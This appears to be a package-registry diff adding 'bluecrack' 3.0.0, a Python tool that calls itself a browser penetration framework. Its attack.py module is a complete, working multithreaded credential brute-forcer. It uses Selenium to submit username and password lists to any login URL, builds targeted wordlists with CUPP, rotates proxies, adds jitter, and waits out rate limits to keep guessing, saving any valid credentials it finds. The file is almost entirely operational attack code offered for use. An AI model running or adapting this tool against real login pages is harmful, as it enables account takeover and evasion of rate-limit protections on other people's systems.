bluecrack 3.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
bluecrack/__init__.py ADDED
@@ -0,0 +1,25 @@
1
+ """
2
+ BlueCrack — Advanced Browser Penetration Framework
3
+ ====================================================
4
+ Hydra-style credential auditing tool powered by Selenium WebDriver.
5
+
6
+ Usage::
7
+
8
+ # Install
9
+ pip install bluecrack
10
+
11
+ # Launch Web UI
12
+ bluecrack
13
+
14
+ # CLI attack mode
15
+ bluecrack attack -u admin -P passwords.txt --url https://target.com/login --error "failed"
16
+
17
+ # Environment diagnostics
18
+ bluecrack doctor
19
+ """
20
+
21
+ from bluecrack._version import __version__
22
+
23
+ __all__ = [
24
+ "__version__",
25
+ ]
bluecrack/__main__.py ADDED
@@ -0,0 +1,6 @@
1
+ """Allow running BlueCrack as ``python -m bluecrack``."""
2
+
3
+ from bluecrack.cli import main
4
+
5
+ if __name__ == "__main__":
6
+ main()
bluecrack/_version.py ADDED
@@ -0,0 +1,3 @@
1
+ """Single source of truth for BlueCrack version."""
2
+
3
+ __version__ = "3.0.0"
bluecrack/attack.py ADDED
@@ -0,0 +1,602 @@
1
+ """
2
+ BlueCrack CLI Attack Module
3
+ ============================
4
+ Brute-force attack controller for CLI and Interactive Wizard modes.
5
+ """
6
+
7
+ import sys
8
+ import os
9
+ import random
10
+ import time
11
+ import signal
12
+ import threading
13
+ import argparse
14
+ from queue import Queue
15
+ from typing import Any, Dict, List, Optional, Set, Tuple
16
+
17
+ from selenium import webdriver
18
+ from selenium.common.exceptions import (
19
+ NoSuchElementException,
20
+ WebDriverException,
21
+ )
22
+ from selenium.webdriver.common.by import By
23
+ from selenium.webdriver.common.keys import Keys
24
+
25
+ from .constants import (
26
+ CSS_PATH_JS,
27
+ AUTO_DETECT_JS,
28
+ CLICK_LISTENER_JS,
29
+ HAS_KEYBOARD,
30
+ _GREEN,
31
+ _RED,
32
+ _YELLOW,
33
+ _CYAN,
34
+ _BLUE,
35
+ _RESET,
36
+ _BOLD,
37
+ )
38
+ from .utils import (
39
+ build_chrome_options,
40
+ create_driver_safe,
41
+ change_tor_ip,
42
+ save_json_report,
43
+ )
44
+
45
+ if HAS_KEYBOARD:
46
+ try:
47
+ import keyboard
48
+ except ImportError:
49
+ pass
50
+
51
+
52
+ def run_attack_cli(args: argparse.Namespace) -> None:
53
+ """Run CLI credential auditing engine."""
54
+ _GLOBAL_STOP: threading.Event = threading.Event()
55
+ _FOUND_EVENT: threading.Event = threading.Event()
56
+
57
+ def _signal_handler(sig: int, frame: Any) -> None:
58
+ """Handle Ctrl+C / Ctrl+X for graceful shutdown."""
59
+ print(f"\n{_YELLOW}[!] Caught Ctrl+C / Ctrl+X — stopping gracefully...{_RESET}")
60
+ _GLOBAL_STOP.set()
61
+ _FOUND_EVENT.set()
62
+
63
+ # Save original signal handler, register ours, restore on exit
64
+ old_sig = signal.signal(signal.SIGINT, _signal_handler)
65
+
66
+ try:
67
+ # INTERACTIVE MODE
68
+ auto_detect = False
69
+ if args.interactive:
70
+ print(f"\n{_CYAN}--- WIZARD MODE ---{_RESET}")
71
+
72
+ # CUPP Integration
73
+ run_cupp = (
74
+ input("\nGenerate a targeted wordlist first using CUPP? (y/n) [default: n]: ")
75
+ .strip()
76
+ .lower()
77
+ == "y"
78
+ )
79
+ if run_cupp:
80
+ print(
81
+ f"\n{_YELLOW}--- LAUNCHING CUPP (Common User Passwords Profiler) ---{_RESET}"
82
+ )
83
+ os.system(f"{sys.executable} -m bluecrack.vendor.cupp -i")
84
+ print(
85
+ f"\n{_GREEN}[+] CUPP completed! Make sure to remember the saved filename.{_RESET}\n"
86
+ )
87
+
88
+ args.url = input("\nEnter Target URL: ").strip()
89
+ args.username = (
90
+ input("Enter single username to test (leave blank to skip): ").strip() or None
91
+ )
92
+ if not args.username:
93
+ args.userfile = input("Enter path to usernames list file: ").strip() or None
94
+
95
+ # Get password approach correctly in wizard
96
+ single_pass = input("Enter single password to test (leave blank to skip): ").strip()
97
+ if single_pass:
98
+ args.password = single_pass
99
+ args.passfile = None
100
+ else:
101
+ args.password = None
102
+ args.passfile = input("Enter path to passwords list file: ").strip() or None
103
+
104
+ threads_in_str = input("Enter number of threads [default: 1]: ").strip()
105
+ args.threads = int(threads_in_str) if threads_in_str.isdigit() else 1
106
+
107
+ err_in_str = input("Enter error string to check (default: empty): ").strip()
108
+ if err_in_str:
109
+ args.error = err_in_str
110
+
111
+ succ_in_str = input("Enter success string to check (default: empty): ").strip()
112
+ if succ_in_str:
113
+ args.success = succ_in_str
114
+
115
+ delay_in_str = input(
116
+ "Enter general delay between attempts in seconds [default: 0]: "
117
+ ).strip()
118
+ args.delay = (
119
+ float(delay_in_str) if delay_in_str.replace(".", "", 1).isdigit() else 0.0
120
+ )
121
+
122
+ jitter_in_str = input(
123
+ "Enter jitter/randomizer up to X seconds [default: 0.0]: "
124
+ ).strip()
125
+ args.jitter = (
126
+ float(jitter_in_str) if jitter_in_str.replace(".", "", 1).isdigit() else 0.0
127
+ )
128
+
129
+ use_proxy = input("Use proxy? (y/n) [default: n]: ").strip().lower() == "y"
130
+ if use_proxy:
131
+ p_file = input(
132
+ "Enter path to proxy list file (or hit enter to use single proxy): "
133
+ ).strip()
134
+ if p_file:
135
+ args.proxyfile = p_file
136
+ else:
137
+ args.proxy = input(
138
+ "Enter proxy IP:PORT (e.g., http://1.2.3.4:8080): "
139
+ ).strip()
140
+
141
+ rl_bypass = (
142
+ input("Enable Auto-Throttle for Rate Limits? (y/n) [default: y]: ")
143
+ .strip()
144
+ .lower()
145
+ != "n"
146
+ )
147
+ args.cooldown = 12 if rl_bypass else 0
148
+ if rl_bypass:
149
+ rl_text = input(
150
+ "Enter Rate Limit text to detect [default: 'too many requests']: "
151
+ ).strip()
152
+ if rl_text:
153
+ args.limit_text = rl_text
154
+
155
+ max_att_str = input("Max attempts (0=unlimited) [default: 0]: ").strip()
156
+ args.max_attempts = int(max_att_str) if max_att_str.isdigit() else 0
157
+
158
+ cont_str = input(
159
+ "Continue testing after finding credentials? (y/n) [default: n]: "
160
+ ).strip().lower()
161
+ args.continue_after_success = cont_str == "y"
162
+
163
+ auto_detect = (
164
+ input("Auto-detect CSS selectors instead of clicking? (y/n) [default: y]: ")
165
+ .strip()
166
+ .lower()
167
+ != "n"
168
+ )
169
+ else:
170
+ auto_detect = False
171
+ if not args.url:
172
+ raise SystemExit(f"{_RED}[-] Provide --url or use -i wizard{_RESET}")
173
+
174
+ if not args.username and not args.userfile:
175
+ raise SystemExit(f"{_RED}[-] Provide -u USER or -U USERFILE{_RESET}")
176
+
177
+ if not args.password and not args.passfile:
178
+ raise SystemExit(f"{_RED}[-] Provide -p PASS or -P PASSLIST{_RESET}")
179
+
180
+ # LOAD USERNAMES
181
+ users: List[str] = []
182
+ if args.username:
183
+ users.append(args.username)
184
+ if args.userfile:
185
+ with open(args.userfile, "r", encoding="utf-8", errors="ignore") as f:
186
+ for line in f:
187
+ users.append(line.strip())
188
+
189
+ # LOAD PASSWORDS
190
+ passwords: List[str] = []
191
+ if args.password:
192
+ passwords.append(args.password)
193
+ if args.passfile:
194
+ with open(args.passfile, "r", encoding="utf-8", errors="ignore") as f:
195
+ for line in f:
196
+ px = line.strip()
197
+ if px:
198
+ passwords.append(px)
199
+
200
+ # LOAD PROXIES
201
+ proxies: List[str] = []
202
+ if args.proxy:
203
+ proxies.append(args.proxy)
204
+ if args.proxyfile:
205
+ with open(args.proxyfile, "r", encoding="utf-8", errors="ignore") as f:
206
+ for line in f:
207
+ if line.strip():
208
+ proxies.append(line.strip())
209
+
210
+ USERNAME_FIXED: Optional[str] = users[0] if len(users) == 1 else None
211
+ WORDLIST: str = f"{len(passwords)} passwords loaded for {len(users)} users"
212
+ PROXY_INFO: str = f"{len(proxies)} proxies loaded" if proxies else "No Proxies"
213
+
214
+ THREADS: int = args.threads
215
+ TARGET_URL: str = args.url
216
+ if (
217
+ TARGET_URL
218
+ and not TARGET_URL.startswith("http://")
219
+ and not TARGET_URL.startswith("https://")
220
+ ):
221
+ TARGET_URL = "http://" + TARGET_URL
222
+
223
+ ERROR_MSG: Optional[str] = args.error.lower() if args.error else None
224
+ SUCCESS_MSG: Optional[str] = args.success.lower() if args.success else None
225
+ LIMIT_TEXT: Optional[str] = args.limit_text.lower() if args.limit_text else None
226
+ COOLDOWN: int = args.cooldown
227
+ DELAY: float = args.delay
228
+ JITTER: float = args.jitter
229
+ RUN_HEADLESS: bool = args.headless
230
+ MAX_ATTEMPTS: int = args.max_attempts
231
+ CONTINUE_AFTER_SUCCESS: bool = args.continue_after_success
232
+ OUTPUT_FILE: str = args.output
233
+ JSON_REPORT: bool = args.json_report
234
+
235
+ # LAUNCH SELENIUM (setup browser)
236
+ driver = webdriver.Chrome()
237
+ driver.get(TARGET_URL)
238
+
239
+ username_selector: Optional[str] = None
240
+ password_selector: Optional[str] = None
241
+
242
+ print("\n==============================")
243
+ print(" BROWSER BRUTE TESTER")
244
+ print("==============================\n")
245
+ print(f"Target URL: {TARGET_URL}")
246
+ print(f"User: {USERNAME_FIXED}")
247
+ print(f"Wordlist: {WORDLIST}")
248
+ print(f"Proxies: {PROXY_INFO}")
249
+ print(f"Threads: {THREADS}")
250
+ print(f"Delay/Jitter: {DELAY}s / {JITTER}s")
251
+ if MAX_ATTEMPTS > 0:
252
+ print(f"Max Attempts: {MAX_ATTEMPTS}")
253
+ if CONTINUE_AFTER_SUCCESS:
254
+ print(f"{_CYAN}[*] Will continue after finding credentials{_RESET}")
255
+
256
+ # Inject JS to track last clicked element
257
+ driver.execute_script(CLICK_LISTENER_JS)
258
+
259
+ # GENERATE CSS SELECTOR FROM CLICKED ELEMENT
260
+ def get_css_selector() -> Optional[str]:
261
+ elem = driver.execute_script("return window._lastClicked")
262
+ if elem is None:
263
+ return None
264
+ return driver.execute_script(CSS_PATH_JS, elem)
265
+
266
+ if auto_detect:
267
+ print(f"\n{_CYAN}[*] Auto-detecting login form fields...{_RESET}")
268
+ time.sleep(2)
269
+ try:
270
+ driver.execute_script(AUTO_DETECT_JS)
271
+ detected_selectors = driver.execute_script("return window._autoFindFields();")
272
+ if detected_selectors and detected_selectors[0] and detected_selectors[1]:
273
+ username_selector, password_selector = detected_selectors
274
+ print(f"{_GREEN}[+] AUTO-DETECTED Username: {username_selector}{_RESET}")
275
+ print(f"{_GREEN}[+] AUTO-DETECTED Password: {password_selector}{_RESET}")
276
+ else:
277
+ print(f"{_RED}[-] Auto-detect failed. Please lock manually.{_RESET}")
278
+ auto_detect = False
279
+ except Exception as e:
280
+ print(
281
+ f"{_RED}[-] Auto-detect script failed: {e}. Switching to manual mode.{_RESET}"
282
+ )
283
+ auto_detect = False
284
+
285
+ # WAIT FOR USER TO LOCK FIELDS
286
+ if not auto_detect:
287
+ print(f"\n{_CYAN}[>] CLICK username field → press S{_RESET}")
288
+ print(f"{_CYAN}[>] CLICK password field → press T{_RESET}")
289
+ print(f"{_CYAN}[>] Press ENTER to start brute{_RESET}\n")
290
+
291
+ if not HAS_KEYBOARD:
292
+ raise SystemExit(f"{_RED}[-] keyboard library not available. Auto-detect failed and manual override requires keyboard library.{_RESET}")
293
+
294
+ while username_selector is None or password_selector is None:
295
+ if keyboard.is_pressed("s"):
296
+ css = get_css_selector()
297
+ if css:
298
+ username_selector = css
299
+ print(f"{_BLUE}[+] Username selector LOCKED: {css}{_RESET}")
300
+ time.sleep(0.3)
301
+ if keyboard.is_pressed("t"):
302
+ css = get_css_selector()
303
+ if css:
304
+ password_selector = css
305
+ print(f"{_BLUE}[+] Password selector LOCKED: {css}{_RESET}")
306
+ time.sleep(0.3)
307
+
308
+ print("\nSelectors locked! Press ENTER to launch brute...")
309
+
310
+ # TEST THE SELECTORS IMMEDIATELY
311
+ driver.find_element(By.CSS_SELECTOR, username_selector)
312
+ driver.find_element(By.CSS_SELECTOR, password_selector)
313
+
314
+ if HAS_KEYBOARD:
315
+ keyboard.wait("enter")
316
+ else:
317
+ time.sleep(1)
318
+
319
+ # Close the initial setup driver
320
+ try:
321
+ driver.quit()
322
+ except Exception:
323
+ pass
324
+
325
+ # LOAD WORDLIST INTO QUEUE
326
+ q: Queue = Queue(maxsize=1000)
327
+ total_combos: int = len(users) * len(passwords)
328
+
329
+ # CLI metrics
330
+ _cli_metrics: Dict[str, int] = {
331
+ "attempted": 0,
332
+ "successes": 0,
333
+ "failures": 0,
334
+ "errors": 0,
335
+ "rate_limit_hits": 0,
336
+ "skipped_empty": 0,
337
+ "requeued": 0,
338
+ }
339
+ _cli_metrics_lock = threading.Lock()
340
+ _cli_found_creds: List[Tuple[str, str]] = []
341
+ _cli_found_creds_lock = threading.Lock()
342
+ _cli_found_users: Set[str] = set()
343
+ _cli_found_users_lock = threading.Lock()
344
+ _cli_start_time: float = time.time()
345
+
346
+ def populate() -> None:
347
+ for user in users:
348
+ for pwd in passwords:
349
+ q.put((user, pwd))
350
+
351
+ threading.Thread(target=populate, daemon=True).start()
352
+
353
+ # WORKER FUNCTION
354
+ def worker() -> None:
355
+ ctx: Dict[str, Any] = {
356
+ "headless": RUN_HEADLESS,
357
+ "proxies": proxies,
358
+ "use_tor": False,
359
+ }
360
+ options = build_chrome_options(ctx)
361
+ thread_driver = create_driver_safe(options)
362
+ if thread_driver is None:
363
+ print(f"{_RED}[-] Thread startup error: could not create WebDriver{_RESET}")
364
+ return
365
+
366
+ try:
367
+ while not q.empty() and not _FOUND_EVENT.is_set() and not _GLOBAL_STOP.is_set():
368
+ # Check max attempts
369
+ if MAX_ATTEMPTS > 0:
370
+ with _cli_metrics_lock:
371
+ if _cli_metrics["attempted"] >= MAX_ATTEMPTS:
372
+ break
373
+
374
+ # Check if we should stop (non-continue mode)
375
+ if not CONTINUE_AFTER_SUCCESS and _FOUND_EVENT.is_set():
376
+ break
377
+
378
+ try:
379
+ user, pwd = q.get(timeout=1)
380
+ except Exception:
381
+ break
382
+
383
+ # Skip empty passwords
384
+ if not pwd or str(pwd).strip() == "":
385
+ with _cli_metrics_lock:
386
+ _cli_metrics["skipped_empty"] += 1
387
+ q.task_done()
388
+ continue
389
+
390
+ # Skip already solved users (unless continue mode)
391
+ if not CONTINUE_AFTER_SUCCESS:
392
+ with _cli_found_users_lock:
393
+ if user in _cli_found_users:
394
+ q.task_done()
395
+ continue
396
+
397
+ try:
398
+ if _FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS:
399
+ break
400
+ if _GLOBAL_STOP.is_set():
401
+ break
402
+
403
+ # Add delay if configured
404
+ actual_delay: float = DELAY
405
+ if JITTER > 0.0:
406
+ actual_delay += random.uniform(0, JITTER)
407
+
408
+ if actual_delay > 0.0:
409
+ for _ in range(int(actual_delay * 10)):
410
+ if _FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS:
411
+ break
412
+ time.sleep(0.1)
413
+
414
+ if (_FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS) or _GLOBAL_STOP.is_set():
415
+ break
416
+
417
+ thread_driver.get(TARGET_URL)
418
+ if (_FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS) or _GLOBAL_STOP.is_set():
419
+ break
420
+
421
+ try:
422
+ u = thread_driver.find_element(By.CSS_SELECTOR, username_selector)
423
+ p = thread_driver.find_element(By.CSS_SELECTOR, password_selector)
424
+ u.clear()
425
+ u.send_keys(user)
426
+ p.clear()
427
+ p.send_keys(pwd)
428
+ p.send_keys(Keys.ENTER)
429
+
430
+ with _cli_metrics_lock:
431
+ _cli_metrics["attempted"] += 1
432
+ attempt_num = _cli_metrics["attempted"]
433
+
434
+ if (_FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS) or _GLOBAL_STOP.is_set():
435
+ break
436
+
437
+ print(
438
+ f"[{attempt_num}/{total_combos}] {_CYAN}[*]{_RESET} Trying: {user} / {pwd}"
439
+ )
440
+
441
+ # Wait for login to process
442
+ for _ in range(20):
443
+ if _FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS:
444
+ break
445
+ time.sleep(0.1)
446
+
447
+ if (_FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS) or _GLOBAL_STOP.is_set():
448
+ break
449
+
450
+ # Check page
451
+ page_source: str = thread_driver.page_source.lower()
452
+ current_url: str = thread_driver.current_url
453
+
454
+ # Check for rate limiting first
455
+ if LIMIT_TEXT and LIMIT_TEXT in page_source:
456
+ print(
457
+ f"[{attempt_num}/{total_combos}] {_YELLOW}[!] Rate Limit detected ('{LIMIT_TEXT}')!{_RESET}"
458
+ )
459
+ with _cli_metrics_lock:
460
+ _cli_metrics["rate_limit_hits"] += 1
461
+ if COOLDOWN > 0:
462
+ print(
463
+ f"{_CYAN}[~] Bypassing... Sleeping {COOLDOWN} seconds before retrying {user}/{pwd}{_RESET}"
464
+ )
465
+ for _ in range(COOLDOWN * 10):
466
+ if _FOUND_EVENT.is_set() and not CONTINUE_AFTER_SUCCESS:
467
+ break
468
+ time.sleep(0.1)
469
+ if not _FOUND_EVENT.is_set() or CONTINUE_AFTER_SUCCESS:
470
+ q.put((user, pwd))
471
+ with _cli_metrics_lock:
472
+ _cli_metrics["requeued"] += 1
473
+ else:
474
+ print(
475
+ f"{_RED}[-] Rate limit hit, skipping {user}/{pwd}...{_RESET}"
476
+ )
477
+ q.task_done()
478
+ continue
479
+
480
+ # Check explicit error
481
+ if ERROR_MSG and ERROR_MSG in page_source:
482
+ with _cli_metrics_lock:
483
+ _cli_metrics["failures"] += 1
484
+ q.task_done()
485
+ continue
486
+
487
+ # Determine success
488
+ is_success = False
489
+ if SUCCESS_MSG:
490
+ if SUCCESS_MSG in page_source:
491
+ is_success = True
492
+ else:
493
+ with _cli_metrics_lock:
494
+ _cli_metrics["failures"] += 1
495
+ q.task_done()
496
+ continue
497
+ elif current_url != TARGET_URL and "login" not in current_url.lower():
498
+ is_success = True
499
+ elif ERROR_MSG:
500
+ is_success = True
501
+
502
+ if is_success:
503
+ print(
504
+ f"\n{_GREEN}{_BOLD}[+] VALID CREDENTIALS FOUND: {user} / {pwd}{_RESET}\n"
505
+ )
506
+ with _cli_metrics_lock:
507
+ _cli_metrics["successes"] += 1
508
+ with _cli_found_creds_lock:
509
+ _cli_found_creds.append((user, pwd))
510
+ with _cli_found_users_lock:
511
+ _cli_found_users.add(user)
512
+
513
+ try:
514
+ with open(OUTPUT_FILE, "a", encoding="utf-8") as cf:
515
+ cf.write(f"{TARGET_URL} - {user}:{pwd}\n")
516
+ except Exception as e:
517
+ print(f"{_RED}[-] Could not save credential: {e}{_RESET}")
518
+
519
+ if not CONTINUE_AFTER_SUCCESS:
520
+ _FOUND_EVENT.set()
521
+ with q.mutex:
522
+ q.queue.clear()
523
+ q.task_done()
524
+ break
525
+ else:
526
+ with _cli_metrics_lock:
527
+ _cli_metrics["failures"] += 1
528
+
529
+ except (NoSuchElementException, WebDriverException) as e:
530
+ with _cli_metrics_lock:
531
+ _cli_metrics["errors"] += 1
532
+ print(
533
+ f"{_RED}[-] Error during attempt with '{user} / {pwd}': element not found or page load issue.{_RESET}"
534
+ )
535
+ except Exception as e:
536
+ with _cli_metrics_lock:
537
+ _cli_metrics["errors"] += 1
538
+ print(f"{_RED}[-] Navigation or unexpected error: {e}{_RESET}")
539
+ finally:
540
+ q.task_done()
541
+ finally:
542
+ try:
543
+ thread_driver.quit()
544
+ except Exception:
545
+ pass
546
+
547
+ # THREAD LAUNCHER
548
+ threads_list: List[threading.Thread] = []
549
+ print(f"\n[*] Starting {THREADS} threads...\n")
550
+ try:
551
+ for _ in range(THREADS):
552
+ t = threading.Thread(target=worker)
553
+ t.daemon = True
554
+ t.start()
555
+ threads_list.append(t)
556
+
557
+ # Wait for completion
558
+ while not q.empty() and not _FOUND_EVENT.is_set() and not _GLOBAL_STOP.is_set():
559
+ time.sleep(0.1)
560
+
561
+ if not _FOUND_EVENT.is_set():
562
+ q.join()
563
+
564
+ cli_end_time = time.time()
565
+
566
+ if not _FOUND_EVENT.is_set():
567
+ print(f"\n{_RED}[-] Finished testing. No valid credentials found.{_RESET}")
568
+ else:
569
+ print(f"\n{_GREEN}[+] Finished testing. Valid credentials found!{_RESET}")
570
+
571
+ # Print summary
572
+ print(f"\n{_CYAN}═══ Attack Summary ═══{_RESET}")
573
+ for k, v in _cli_metrics.items():
574
+ print(f" {k}: {v}")
575
+ elapsed = cli_end_time - _cli_start_time
576
+ print(f" elapsed: {elapsed:.1f}s")
577
+ if _cli_metrics["attempted"] > 0 and elapsed > 0:
578
+ print(f" speed: {_cli_metrics['attempted'] / elapsed:.1f} attempts/s")
579
+
580
+ # Save JSON report if requested
581
+ if JSON_REPORT:
582
+ save_json_report(
583
+ "bluecrack_cli_report.json",
584
+ TARGET_URL,
585
+ _cli_metrics,
586
+ _cli_found_creds,
587
+ _cli_start_time,
588
+ cli_end_time,
589
+ )
590
+ print(f"{_GREEN}[+] JSON report saved to bluecrack_cli_report.json{_RESET}")
591
+
592
+ except KeyboardInterrupt:
593
+ print(f"\n{_YELLOW}[!] Interrupted by user (Ctrl+C). Exiting gracefully...{_RESET}")
594
+ _FOUND_EVENT.set()
595
+ _GLOBAL_STOP.set()
596
+ finally:
597
+ if _GLOBAL_STOP.is_set() and not _FOUND_EVENT.is_set():
598
+ print(f"\n{_YELLOW}[!] Stopped by signal. Cleaning up...{_RESET}")
599
+
600
+ finally:
601
+ # Restore original signal handler
602
+ signal.signal(signal.SIGINT, old_sig)